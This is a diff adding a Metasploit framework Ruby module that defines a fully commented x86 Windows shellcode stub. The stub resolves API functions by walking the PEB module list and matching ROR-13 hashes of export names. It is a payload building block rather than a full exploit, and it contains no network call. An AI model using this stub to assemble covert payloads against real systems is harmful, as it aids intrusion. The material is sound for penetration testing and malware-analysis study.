|
| 1 | +# -*- coding: binary -*- |
| 2 | + |
| 3 | +require 'msf/core' |
| 4 | + |
| 5 | +module Msf |
| 6 | + |
| 7 | + |
| 8 | +### |
| 9 | +# |
| 10 | +# Basic block_api stubs for Windows ARCH_X86 payloads |
| 11 | +# |
| 12 | +### |
| 13 | + |
| 14 | + |
| 15 | +module Payload::Windows::BlockApi |
| 16 | + |
| 17 | + def asm_block_api(opts={}) |
| 18 | + |
| 19 | + raw = %q^ |
| 20 | +
|
| 21 | + api_call: |
| 22 | + pushad ; We preserve all the registers for the caller, bar EAX and ECX. |
| 23 | + mov ebp, esp ; Create a new stack frame |
| 24 | + xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) |
| 25 | + mov edx, [fs:eax+48] ; Get a pointer to the PEB |
| 26 | + mov edx, [edx+12] ; Get PEB->Ldr |
| 27 | + mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list |
| 28 | + next_mod: ; |
| 29 | + mov esi, [edx+40] ; Get pointer to modules name (unicode string) |
| 30 | + movzx ecx, word [edx+38] ; Set ECX to the length we want to check |
| 31 | + xor edi, edi ; Clear EDI which will store the hash of the module name |
| 32 | + loop_modname: ; |
| 33 | + lodsb ; Read in the next byte of the name |
| 34 | + cmp al, 'a' ; Some versions of Windows use lower case module names |
| 35 | + jl not_lowercase ; |
| 36 | + sub al, 0x20 ; If so normalise to uppercase |
| 37 | + not_lowercase: ; |
| 38 | + ror edi, 13 ; Rotate right our hash value |
| 39 | + add edi, eax ; Add the next byte of the name |
| 40 | + loop loop_modname ; Loop untill we have read enough |
| 41 | +
|
| 42 | + ; We now have the module hash computed |
| 43 | + push edx ; Save the current position in the module list for later |
| 44 | + push edi ; Save the current module hash for later |
| 45 | + ; Proceed to iterate the export address table |
| 46 | + mov edx, [edx+16] ; Get this modules base address |
| 47 | + mov ecx, [edx+60] ; Get PE header |
| 48 | +
|
| 49 | + ; use ecx as our EAT pointer here so we can take advantage of jecxz. |
| 50 | + mov ecx, [ecx+edx+120] ; Get the EAT from the PE header |
| 51 | + jecxz get_next_mod1 ; If no EAT present, process the next module |
| 52 | + add ecx, edx ; Add the modules base address |
| 53 | + push ecx ; Save the current modules EAT |
| 54 | + mov ebx, [ecx+32] ; Get the rva of the function names |
| 55 | + add ebx, edx ; Add the modules base address |
| 56 | + mov ecx, [ecx+24] ; Get the number of function names |
| 57 | + ; now ecx returns to its regularly scheduled counter duties |
| 58 | +
|
| 59 | + ; Computing the module hash + function hash |
| 60 | + get_next_func: ; |
| 61 | + jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module |
| 62 | + dec ecx ; Decrement the function name counter |
| 63 | + mov esi, [ebx+ecx*4] ; Get rva of next module name |
| 64 | + add esi, edx ; Add the modules base address |
| 65 | + xor edi, edi ; Clear EDI which will store the hash of the function name |
| 66 | + ; And compare it to the one we want |
| 67 | + loop_funcname: ; |
| 68 | + lodsb ; Read in the next byte of the ASCII function name |
| 69 | + ror edi, 13 ; Rotate right our hash value |
| 70 | + add edi, eax ; Add the next byte of the name |
| 71 | + cmp al, ah ; Compare AL (the next byte from the name) to AH (null) |
| 72 | + jne loop_funcname ; If we have not reached the null terminator, continue |
| 73 | + add edi, [ebp-8] ; Add the current module hash to the function hash |
| 74 | + cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for |
| 75 | + jnz get_next_func ; Go compute the next function hash if we have not found it |
| 76 | +
|
| 77 | + ; If found, fix up stack, call the function and then value else compute the next one... |
| 78 | + pop eax ; Restore the current modules EAT |
| 79 | + mov ebx, [eax+36] ; Get the ordinal table rva |
| 80 | + add ebx, edx ; Add the modules base address |
| 81 | + mov cx, [ebx+2*ecx] ; Get the desired functions ordinal |
| 82 | + mov ebx, [eax+28] ; Get the function addresses table rva |
| 83 | + add ebx, edx ; Add the modules base address |
| 84 | + mov eax, [ebx+4*ecx] ; Get the desired functions RVA |
| 85 | + add eax, edx ; Add the modules base address to get the functions actual VA |
| 86 | + ; We now fix up the stack and perform the call to the desired function... |
| 87 | + finish: |
| 88 | + mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad |
| 89 | + pop ebx ; Clear off the current modules hash |
| 90 | + pop ebx ; Clear off the current position in the module list |
| 91 | + popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered |
| 92 | + pop ecx ; Pop off the origional return address our caller will have pushed |
| 93 | + pop edx ; Pop off the hash value our caller will have pushed |
| 94 | + push ecx ; Push back the correct return value |
| 95 | + jmp eax ; Jump into the required function |
| 96 | + ; We now automagically return to the correct caller... |
| 97 | +
|
| 98 | + get_next_mod: ; |
| 99 | + pop edi ; Pop off the current (now the previous) modules EAT |
| 100 | + get_next_mod1: ; |
| 101 | + pop edi ; Pop off the current (now the previous) modules hash |
| 102 | + pop edx ; Restore our position in the module list |
| 103 | + mov edx, [edx] ; Get the next module |
| 104 | + jmp.i8 next_mod ; Process this module |
| 105 | + ^ |
| 106 | + end |
| 107 | + |
| 108 | + |
| 109 | +end |
| 110 | + |
| 111 | +end |
| 112 | + |
0 commit comments